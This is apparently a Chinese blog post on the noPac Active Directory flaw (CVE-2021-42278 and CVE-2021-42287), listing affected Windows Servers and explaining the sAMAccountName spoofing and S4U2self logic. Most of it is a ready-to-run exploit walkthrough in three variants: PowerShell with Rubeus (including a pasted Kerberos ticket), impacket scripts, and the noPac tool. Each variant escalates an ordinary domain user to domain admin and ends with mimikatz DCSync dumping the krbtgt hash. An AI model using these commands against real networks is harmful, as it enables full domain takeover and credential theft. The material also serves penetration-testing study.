Nopac(CVE-2021-42278 + CVE-2021-42287)

前言

2021 年 11 月 9 日,国外研究员在推特上发布了 Active Directory 相关的 CVE,CVE-2021-42278 & CVE-2021-42287 ,两个漏洞组合可导致域内普通用户权限提升至域管权限。

影响范围

CVE-2021-42287:

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server, version 20H2 (Server Core Installation)

Windows Server, version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

CVE-2021-42278:

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server, version 20H2 (Server Core Installation)

Windows Server, version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2019 (Server Core installation)

Windows Server 2022

Windows Server 2019

Windows Server 2012 R2 (Server Core installation)

漏洞原理

  • CVE-2021-42278, 机器用户应当是computer$的形式,但是实际并没有验证机器账号是否有$。导致机器用户名可以被模拟冒用。

  • CVE-2021-42287,Kerberos在处理UserName字段时,如果找不到 UserName 的话,KDC会继续查找 UserName$,如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的⽤户。正是因为这个处理逻辑,导致了漏洞的产⽣。触发这个点有两种方式

    • 跨域请求:跨域请求时,⽬标域活动⽬录数据库是找不到其他域的⽤户的,因此会⾛进这个 处理UserName的逻辑。
    • 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不到⽤户,然后⾛进这个处理UserName的逻辑。

    但是这还是不够,仅仅让KDC⾛进这个处理UserName的逻辑,还不能伪造⾼权限。因为票据中代表⽤户身份权限是数据块是PAC。⽽TGT认购权证中的PAC是根据预认证身份信息⽣成的,这个我们⽆法伪造。因此得想办法在ST服务票据中进⾏伪造。⽽正常的ST服务票据中的PAC是直接拷⻉TGT认购权证中的。因此,得想办法让KDC在TGS-REP的时候重新⽣成PAC,⽽不是拷⻉TGT票据中的PAC。这⾥也有两种⽅式:

    • S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新⽣成的。

    • 跨域⽆PAC的TGT票据进⾏TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT认购权证中没有PAC,PAC会重新⽣成。

利用条件

(1)一个普通域成员帐户。

(2)域用户有创建机器用户的权限(一般默认权限)。

(3)DC未打补丁KB5008380或KB5008602。

漏洞复现

攻击流程

⾸先创建⼀个机器⽤户nopac$,然后将其saMAccountName属性为r-dc。请求⼀张带有PAC的正常的TGT认购权证。再将该机器⽤户的saMAccountName属性还原,这个时候 KDC 就会判断域内没有 r-dc 这个用户,自动去搜索 r-dc$(r-dc$是域内已经的域控r-dc的 sAMAccountName),攻击者利用刚刚申请带有PAC的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

手工复现

方法一:Powershell

# hacker.lab是域名,r-dc是DC的机器名称,nopac是新建的机器名,1qaz@WSX是新建的机器用户的密码。

# 使用Powershell创建机器用户
import-module .\Powermad.ps1
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "nopac" -Password $($password) -Domain "hacker.lab" -DomainController "r-dc.hacker.lab" -Verbose

# 使用Powershell清除机器用户的SPN
Import-Module .\powerview.ps1
Set-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab" -Clear 'serviceprincipalname' -Verbose

# 使用powershell将机器用户名修改为DC的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "r-dc" -Attribute samaccountname -Verbose

# 查看机器用户名是否修改成功
Get-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab"

# 使用Rubeus用机器账号向DC请求TGT
Rubeus.exe asktgt /user:"r-dc" /password:"1qaz@WSX" /domain:"hacker.lab" /dc:"r-dc.hacker.lab" /nowrap

# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "nopac" -Attribute samaccountname -Verbose

# 使用请求的TGT通过S4U2self获取ST 注意,impersonateuser必须要存在才有效,如果域内administrator被禁用,换成其他域管
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/r-dc.hacker.lab" /dc:"r-dc.hacker.lab" /ptt /ticket:[Base64 TGT]

# 可选命令,查看获取的ST
klist

# 使用Mimikatz进行Dcsync
mimikatz.exe "lsadump::dcsync /domain:hacker.lab /kdc:r-dc.hacker.lab /user:krbtgt" "exit"

# 可选命令,清除所有的ST
klist purge
创建机器用户
#为了方便实验把powershell执行策略关了
import-module .\Powermad.ps1
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "nopac" -Password $($password) -Domain "hacker.lab" -DomainController "r-dc.hacker.lab" -Verbose

清除机器用户的SPN
# 使用Powershell清除机器用户的SPN
Import-Module .\Powerview.ps1
Set-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab" -Clear 'serviceprincipalname' -Verbose

修改机器用户名
# 使用powershell将机器用户名修改为DC的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "r-dc" -Attribute samaccountname -Verbose

# 查看机器用户名是否修改成功
Get-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab"

向DC请求TGT
# 使用Rubeus用机器账号向DC请求TGT
Rubeus.exe asktgt /user:"r-dc" /password:"1qaz@WSX" /domain:"hacker.lab" /dc:"r-dc.hacker.lab" /nowrap

重置为原来的用户名
# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "nopac" -Attribute samaccountname -Verbose

通过S4U2self获取ST
# 使用请求的TGT通过S4U2self获取ST 注意,impersonateuser必须要存在才有效,如果域内administrator被禁用,换成其他域管
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/r-dc.hacker.lab" /dc:"r-dc.hacker.lab" /ptt /ticket:doIEvjCCBLqgAwIBBaEDAgEWooID3TCCA9lhggPVMIID0aADAgEFoQwbCkhBQ0tFUi5MQUKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCmhhY2tlci5sYWKjggOZMIIDlaADAgESoQMCAQKiggOHBIIDgziUxk6/J4JdE9i1GOh2DffGLnsFI72tmJH3RkKX9fADA2Qv9O/JVwCtieU0YHgaDu9S/t0WbVdhH276O/BQGAuZcqcpOyUra9ASH9gvh0iAM8qhxNtEgRcr0C+f04mUmGZ7VW772QdVGVJhzkxZHrOnQy070XnHDdq/euKhYNG1mBLlassxWhaPjbfQQ4GV0eWDMdKoWbzr7jmmWIE1jDJVivU8oeWmuRCudoAMAYtdvKMCwdDSUHNDGtWBJnlV6T23I8Ll7JJGBxfXW43yhns7Hk/9UHFUEnaIpMVJw0FRTXQKnoLOmseeMdR5MbbE4CUW63wrAZEEmpxBCiiIExxCtSU6rfEdPlgGRNiTT1JMYfx93C0PzhI23dfwRTORoxLyY7ov9BTkL+oIBk3kCfqX0YNDEw8NZ+ZNefGWhGqDGtfw4GuTQ3RtAJVAJ1rqMcUa5B721snJijBzLGbx78mDyHT4Z/92JBI4JvKQvM9ka5Cd2qgjxTdzqeFj9skmYebHcqhKPKbFZFxNpfe6k96Y0f14TFGF8pcK45wiSCHtYwk9W0gPSbxfEMFCSREPWH3iYp64itlkPECF96aUem5yJhERd8Bcfm+87cw3Nqvw/RWOdLWMc4KaGFpMK54KBZFuHX4AeHnEgdMRdvhaktmmYUcG0Yiyp1r70tJz2SC1YT3q+EBQR92n2D5ZGh2GeCbtewRx+Ievz95/5NsxT3o93H1fv0wQhJs5doNfHYoViAanWR7IuFz6tj0o641yTgE/eNzWyHNizlYc/jlgvAo3eVwuJKKPB8VPNsHf+rvB88+MuxWqir+gNpFE3bgDidjD3MuLaWZVp18iMcISYsVq9pK1DmNRxVbhkpZjZwR6V7tHXNGqjW5GE+ecglfBR77vkDPWx43DG6H4cOOJjwOBtXcDRE3+C2tJatZFrrb8+Dg9azIkjsrm4XNXJC3Wb0D0mO4VZcsyx2QF2RFiJxX1f9dtlEBaTqXqWfXsIIkMAFdQurJ61WgB/e5Uzcuji734/tX6AQOQUS0cYcpjgxrkR5LPa2V2p6DaVMt06XNNGNPu6IHQl+LFhZpjG+E1i6BWbCuGxQ0A8wFTYoShJhMsA/Nb2i8U+dYtOMQTauIowa64nuAxhEnGamNO850oKevCqi8p3rkoQxIJBj6kjkoo0bqapV+2PrHKugzABPDIqHY+o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQyWY+tRU/6sZLh/D/PrW9dKEMGwpIQUNLRVIuTEFCohEwD6ADAgEBoQgwBhsEci1kY6MHAwUAQOEAAKURGA8yMDIyMDgyMzA2MzIwMlqmERgPMjAyMjA4MjMxNjMyMDJapxEYDzIwMjIwODMwMDYzMjAyWqgMGwpIQUNLRVIuTEFCqR8wHaADAgECoRYwFBsGa3JidGd0GwpoYWNrZXIubGFi



使⽤mimikatz的dcsync功能导出hash

mimikatz.exe "lsadump::dcsync /domain:hacker.lab /user:krbtgt /csv" "exit"


方法二:impacket

# 0. 创建机器账号
python3 addcomputer.py -computer-name 'nopacTest$' -computer-pass '1qaz@WSX' -dc-ip 10.211.55.30 'hacker.lab/hacker:1qaz@WSX' 

# 1. 清除SPN
python3 addspn.py --clear -t 'nopacTest$' -u 'hacker\hacker' -p '1qaz@WSX' r-dc.hacker.lab

# 2. 重命名计算机(计算机->DC)
python3 renameMachine.py -current-name 'nopacTest$' -new-name 'r-dc' -dc-ip r-dc.hacker.lab hacker/hacker:1qaz@WSX

# 3. 获取TGT 使用修改后的计算机名和机器密码
python3 getTGT.py -dc-ip r-dc.hacker.lab hacker.lab/r-dc:1qaz@WSX

# 4. 重命名计算机
python3 renameMachine.py -current-name 'r-dc' -new-name 'nopacTest$' -dc-ip r-dc.hacker.lab hacker/hacker:1qaz@WSX

# 5. 使用TGT利用S4U2self 获取ST (cifs/ldap)/r-dc.hacker.lab
export KRB5CCNAME=r-dc.ccache 
python3 getST.py -impersonate 'administrator' -spn 'cifs/r-dc.hacker.lab' -k -no-pass -dc-ip r-dc.hacker.lab hacker/r-dc

# 6. DCSync 导出hash
export KRB5CCNAME=administrator.ccache 
python3 secretsdump.py -just-dc-user krbtgt -k -no-pass -dc-ip r-dc.hacker.lab @r-dc.hacker.lab

工具复现

项目地址:https://github.com/cube0x0/noPac

# 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
noPac.exe scan -domain hacker.lab -user "hacker" -pass "1qaz@WSX"

# 使用一键化工具获得域控cifs的权限
noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac1 /mPassword 1qaz@WSX /service cifs /ptt

# 使用一键化工具获得域控ldap服务的权限,同样此处的impersonate和手动利用方式一致,需要该用户可用
noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac2 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

# 使用dcsync导出域内krbtgt密码
mimikatz.exe "lsadump::dcsync /domain:hacker.lab /user:krbtgt /csv" "exit"

检查是否存在漏洞

noPac.exe scan -domain hacker.lab -user "hacker" -pass "1qaz@WSX"

获得域控cifs的权限ST测试ST票据可用

noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac1 /mPassword 1qaz@WSX /service cifs /ptt


获取ldap权限的ST,mimikatz的dcsync功能导出hash

noPac.exe -domain hacker.lab -user "hacker" -pass "1qaz@WSX" /dc r-dc.hacker.lab /mAccount nopac2 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

mimikatz.exe "lsadump::dcsync /domain:hacker.lab /user:krbtgt /csv" "exit"


posted @ 2022-08-24 12:01  九天揽月丶  阅读(2430)  评论(0编辑  收藏  举报